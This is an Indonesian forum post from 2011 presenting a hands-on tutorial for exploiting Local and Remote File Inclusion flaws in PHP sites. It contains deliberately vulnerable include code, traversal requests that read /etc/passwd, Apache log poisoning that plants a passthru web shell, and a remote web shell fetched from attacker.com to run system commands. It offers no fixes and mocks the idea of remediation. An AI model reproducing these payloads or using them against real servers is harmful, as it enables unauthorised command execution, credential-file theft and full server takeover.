Smasa Jember 2011

Ayok Daftar Dulu
Let's Sign up

Join the forum, it's quick and easy

Smasa Jember 2011

Ayok Daftar Dulu
Let's Sign up

Smasa Jember 2011

Would you like to react to this message? Create an account in a few clicks or log in to continue.
Smasa Jember 2011

Keywords

Latest topics

» wu,wu,wu,wu,wu
Hacking RFI/LFI dan Implementasinya EmptyTue Feb 21, 2012 5:06 pm by RRZA

» asik bangeet .
Hacking RFI/LFI dan Implementasinya EmptyWed Oct 19, 2011 4:33 pm by zull.zull

» engga tau apa yaa
Hacking RFI/LFI dan Implementasinya EmptyWed Oct 19, 2011 4:25 pm by zull.zull

» Download Harry Potter 1 & 2
Hacking RFI/LFI dan Implementasinya EmptyWed Aug 24, 2011 11:06 pm by shelsa14

» 10 Fakta UNik Bill Gate
Hacking RFI/LFI dan Implementasinya EmptyWed Aug 24, 2011 10:23 pm by shelsa14

» 10 KONSPIRASI BESAR DI SELURUH DUNIA
Hacking RFI/LFI dan Implementasinya EmptyWed Aug 24, 2011 10:15 pm by shelsa14

» Cara Naikin ato Nurunin Reputasi
Hacking RFI/LFI dan Implementasinya EmptyWed Aug 24, 2011 10:11 pm by shelsa14

» Linkin Park
Hacking RFI/LFI dan Implementasinya EmptyWed Aug 24, 2011 10:01 pm by shelsa14

» 250 Fakta Unik dan Menarik Dunia !
Hacking RFI/LFI dan Implementasinya EmptyWed Aug 24, 2011 9:56 pm by shelsa14

June 2024

MonTueWedThuFriSatSun
     12
3456789
10111213141516
17181920212223
24252627282930

Calendar Calendar

Affiliates

free forum


    Hacking RFI/LFI dan Implementasinya

    gysu
    gysu
    Admin


    Jumlah posting : 61
    Points : 102
    Reputation : 6
    Join date : 17.07.11
    Age : 28
    Lokasi : Jember

    Hacking RFI/LFI dan Implementasinya Empty Hacking RFI/LFI dan Implementasinya

    Post  gysu Sat Aug 20, 2011 2:49 pm

    Sebenarnya saya juga tidak terlalu paham tentang teknik hacking ini.
    tapi untuk kemajuan bersama saya posting juga.

    –[1]– Introduction

    Website merupakan media komunikasi yang saat ini sudah sangat banyak
    digunakan baik oleh personal, organisasi, maupun perusahaan. Penggunaan
    website sebagai media komunikasi tidak terlepas dari menjamurnya
    internet. Penggunaan media website cukup memberikan banyak keuntungan
    bagi organisasi maupun perusahaan, tetapi bisa menjadi ancaman
    tersendiri bagi asset organisasi atau perusahaan.

    Banyak sekali celah keamanan yang ditemukan pada aplikasi website
    memungkinkan pihak tidak bertanggung jawab dalam mencuri asset
    organisasi atau perusahaan. Beberapa celah keamanan website yang sangat
    populer adalah SQL injection, File Inclussion, Cross Site Scripting
    (XSS), Cross Site Request Forgery(CSRF), dan baru baru ini ditemukan
    celah client side yang cukup berbahaya yaitu Clickjacking.

    –[2]– Review File Inclussion

    File inclussion merupakan serangan dengan memanfaatkan cacat programming
    pada aplikasi website untuk mengeksploitasi server tempat di hostingnya
    website tersebut. Proses exploitasi bisa berupa pencurian file file
    kritikal pada sebuah server seperti file password atau juga eksekusi
    perintah sistem operasi untuk melakukan take over server secara penuh.

    Celah file inclussion dikategorikan dalam dua jenis, jenis yang pertama
    adalah “local file inclussion” sedangkan yang kedua adalah “remote file
    inclussion”.

    Local file inclussion (LFI) menginputkan file yang ada di dalam server
    untuk dieksekusi dan ditampilkan ke website, misalnya dalam sistem
    linux/*NIX seorang attacker bisa menginputkan file password
    (/etc/passwd), file group (/etc/group), file konfigurasi apache
    (httpd.conf), dan file log apache (error_logs dan access_logs). Proses
    pembacaan file file ini oleh pihak tidak bertanggung jawab sangat
    berguna dalam menambah informasi bagi mereka dalam tujuannya menguasai
    server.

    Remote file inclussion (RFI) memungkinkan untuk menginputkan file yang
    ada pada web server lain di internet. File yang diinputkan biasanya
    digunakan untuk mengeksekusi perintah perintah sistem operasi atau biasa
    dikenal dengan web shell. Dengan menggunakan web shell, sangat
    memungkinkan bagi attacker untuk mendapatkan shell interaktif server web
    yang vulnerable. Selanjutnya attacker bisa mengeksploitasi server lebih
    jauh untuk mendapatkan akses tertinggi dan menguasai server secara penuh.

    Sebagai proof of concept, saya mengujikan kedua jenis file inclussion
    ini pada mesin linux Ubuntu 8.10 dengan web server apache dan bahasa
    pemrograman PHP.

    –[3]– Server Configuration

    allow_url_include = On
    magic_quotes_gpc = Off
    safe_mode = Off
    open_basedir =
    disable_functions =
    Tidak ada security module pada apache.

    Really hard to find this kind of server now rite? It seems PHP is now
    well hardened by its default install, tapi tenang masih banyak kok
    yang bisa dieksploitasi.

    –[4]– Local File Inclussion

    Untuk mendalami bagaimana Local File Inclussion terjadi, mari kita buat
    sebuah code PHP sederhana untuk menjelaskan bagaimana vulnerability ini
    bisa diexploitasi.

    <?php
    /* Small c0de to proof how local file inclussion */
    define(‘DOCROOT’, ‘/var/www/html/modules’);
    if(isset($_GET['module'])){
    if(!empty($_GET['module'])){
    /*vulnerable inclussion*/
    $filename = DOCROOT . “/” . $_GET['module'] . “.php”;
    include($filename);
    }else{
    header(“Location:http://example.com”);
    }
    }

    /*End of file*/
    ?>

    Saya menyimpan file tersebut dengan nama index.php pada direktori
    /var/www/html/, kemudia saya membuat direktori modules/ pada
    direktori tersebut. Saya mengisi direktori modules/ dengan dua buah
    file, yaitu news.php dan paper.php masing masing sebagai berikut:

    <HTML>
    <HEAD><TITLE>News</TITLE></HEAD>
    <BODY>
    <?php
    /* Ini file news.php */
    if(eregi(‘news.php’,$_SERVER['PHP_SELF'])){
    die(‘<PRE>cant access directly</PRE>’);
    }
    echo “<PRE>Halaman ini berisi berita</PRE>\n”;
    ?>
    </BODY>
    </HTML>

    <HTML>
    <HEAD><TITLE>Paper</TITLE></HEAD>
    <BODY>
    <?php
    /* Ini file paper.php */
    if(eregi(‘paper.php’,$_SERVER['PHP_SELF'])){
    die(‘<PRE>cant access directly</PRE>’);
    }
    echo “<PRE>Halaman ini berisi paper riset</PRE>\n”;
    ?>
    </BODY>
    </HTML>

    Setelah semua file disiapkan, saya mencoba untuk merequest file
    index.php sebagai berikut :

    (a). http://example.com/index.php?module=news
    maka pada browser muncul “Halaman ini berisi berita”
    (b). http://example.com/index.php?module=paper
    maka pada browser muncul “Halaman ini berisi paper riset”

    Siapapun bisa mengubah ubah parameter “?module=” termasuk orang yang
    tidak bertanggung jawab. Celakanya variable $_GET['module'] pada code
    index.php tidak difilter dengan baik sebelum di-include-kan sehingga
    bisa dieksploitasi untuk menampilkan file file penting pada server,
    misalnya /etc/passwd. Misalnya saya seorang attacker yang ingin
    mendapatkan isi file /etc/passwd dan /etc/group, maka saya melakukan
    request sebagai berikut :

    (a). http://example.com/index.php?module=../../../../../../../etc/passwd%00
    Tentu saja pada browser muncul isi file /etc/passwd
    (b). http://example.com/index.php?module=../../../../../../../etc/group%00
    Tentu saja pada browser muncul isi file /etc/group

    Exploitasi bisa dilakukan oleh attacker untuk mendapatkan file lain yang
    dia inginkan. Walaupun demikian, cacat programming di atas hanya bisa
    untuk meng-include-kan semabrang file pada server itu sendiri. Hal ini
    dikarenakan adanya definisi direktori ROOTDOC yang hanya bisa di-bypass
    secara transversal. Oleh karena itu celah LFI juga sering disebut dengan
    “Path Transversal Vulnerability”.

    Atas saran seorang teman, seorang security analyst di salah satu
    perusahaan keamanan di indonesia yang tidak bisa saya sebutkan namanya
    (for some reason), saya diminta untuk menambahkan bagaimana LFI bisa
    dimanfaatkan untuk melakukan Remote Command Execution (RCE). Saya
    teringat kasus website PHPBB yang disusupi beberapa waktu lalu, attacker
    memanfaatkan log apache untuk mengeksekusi unix command. Tetapi saat
    saya melihat default log apache saya hanya readable oleh user root.
    Teman saya kemudian memberikan saran menggunakan /proc/self/environ, but
    somehow that file is not readable oleh user apache *why?*.

    Saya asumsikan attacker beruntung menemukan web server yang access_log nya
    public readable. Untuk memanfaatkan log file apache sebagai web shell,
    lakukan request HTTP melalui telnet atau dengan socket programming.
    Request melalui browser tidak bisa digunakan untuk membuat web shell
    pada access_logs, karena request tersebut sudah URL encoded. Untuk
    menginjeksikan web shell pada log apache, gunakan telnet sebagai
    berikut:

    $ telnet example.com 80
    Trying example.com…
    Connected to example.com.
    Escape character is ‘^]’.
    GET /<?php passthru($_GET['cmd']) ?> HTTP/1.1
    Host:example.com

    Tekan ENTER dua kali, hasil dari request ini pada access_logs apache
    adalah,

    114.xxx.xxx.xxx- – [21/May/2009:18:35:54 -0700] “GET /<?php passthru($_GET['cmd']) ?> HTTP/1.1″ 404 316 “-” “-”

    Selanjutnya yang perlu dilakukan attacker adalah menemukan path log
    apache tersebut untuk di-include-kan pada file yang vulnerable LFI.
    Bagaimana caranya?? Cara yang paling sederhana adalah dengan
    menbak-nebak, file log apache biasanya terletak pada

    /var/log/httpd/access_log
    /var/log/apache/access.log
    /usr/local/apache/logs/access_log
    /usr/local/apache/logs/access.log
    dan seterusnya, use your experience…

    Terakhir, attacker tinggal memanfaatkan access_logs tersebut untuk
    menginjeksikan perintah sistem operasi. Pada percobaan ini access_log
    saya ada pada /usr/local/apache/logs/access_log, sehingga untuk mengeksekusi
    command ‘id’ bisa dilakukan dengan merequest malicious URI berikut:

    http://example.com/index.php?module=../../../../../../../usr/local/apache/logs/access_log%00&cmd=id

    Attacker selanjutnya bisa mengeksekusi perintah yang lain sesuai
    keinginannya. Tulisan pada [ref.i] bisa menjadi acuan yang lebih baik
    untuk memahami pemanfaatan LFI dalam remote command execution.

    –[5]– Remote File Inclussion

    Sebuah code yang memiliki cacat RFI biasanya juga bisa dieksploitasi
    dengan LFI juga tetapi tidak sebaliknya. Contoh potongan code untuk
    menjelaskan LFI di atas tidak vulnerable dengan RFI. Untuk melihat
    bagaimana cacat programming dan mengakibatkan RFI, saya menggunakan
    potongan code berikut:

    <?php
    /*
    Small c0de to proof how remote file inclussion
    */

    if(isset($_GET['page'])){
    if(!empty($_GET['page'])){
    /*vulnerable inclussion*/
    $filename = $_GET['page'] . “.php”;
    include($filename);
    }else{
    header(“Location:http://example.com”);
    }
    }

    /*End of file*/

    Saya menyimpan file tersebut dengan nama view.php pada direktori
    /var/www/html/, kemudian saya membuat dengan dua buah file pada
    direktori yang sama, yaitu news.php dan paper.php yang isinya sama
    seperti pada contoh sebelumnya.

    Setelah semua disiapkan, saya mencoba untuk merequest file view.php
    sebagai berikut :

    (a). http://example.com/view.php?page=modules/news
    maka pada browser muncul “Halaman ini berisi berita”
    (b). http://example.com/view.php?page=modules/paper
    maka pada browser muncul “Halaman ini berisi paper riset”

    Siapapun bisa mengubah ubah parameter “?module=” termasuk orang yang
    tidak bertanggung jawab. Celakanya variable $_GET['module'] pada code
    view.php tidak difilter dengan baik sebelum di-include-kan sehingga
    bisa dieksploitasi untuk meng-include-kan sembarang file baik pada
    server itu sendiri maupun pada server lain di internet.

    Untuk menguji bagaimana RFI diinjeksikan melalui parameter URI, saya
    menyiapkan sebuah file lagi pada http://attacker.com/injek.txt yang
    isinya sebagai berikut:

    <?php
    /*Basic PHP web shell*/
    if(isset($_GET['exec'])){
    if(!empty($_GET['exec'])){
    $cmd = $_GET['exec'];
    if(function_exists(‘passthru’)){
    passthru($cmd);
    }
    }
    }
    /*End of PHP web shell*/
    ?>

    Sebelum uji coba dilanjutkan, pada default install php5 di ubuntu
    intrepid, konfigurasi php.ini sudah di-hardening dengan tidak
    mengizinkan URL include. Bagi yang ingin melanjutkan uji coba pada
    artikel ini, silakan edit php.ini menjadi “allow_url_include = On”.
    Selanjutnya saya merequest file view.php dengan parameter berikut:

    (a). http://example.com/view.php?page=http://attacker.com/injek.txt&exec=id
    URI ini berguna untuk mengeksekusi perintah ‘id’ dan menampilkan
    hasilnya di browser.
    (b). http://example.com/view.php?page=http://attacker.com/injek.txt&exec=ls -al
    URI ini berguna untuk mengeksekusi perintah ‘ls -al’ dan
    menampilkan hasilnya di browser.

    Eksekusi perintah shell lain bisa dilakukan sesuai keinginan attacker.
    Untuk keperluan eksploitasi celah RFI biasanya digunakan web shell yang
    sudah dilengkapi beragam fasilitas seperti r57, r58, atau c99. Dengan
    menggunakan beragam web shell tersebut sangatlah mudah untuk mendapatkan
    shell interaktif dan kemudian melakukan priviledge escalation.

    –[6]– Close Word

    It’s done in exploiting, how to fix them? patch your brain first then
    ask the google!

    –[7]– Referensi

    [ref.i] http://milw0rm.com/papers/260
    [ref.ii] http://kandangjamur.net

    gimana???? hahahahahha

      Waktu sekarang Sun Jun 30, 2024 3:30 pm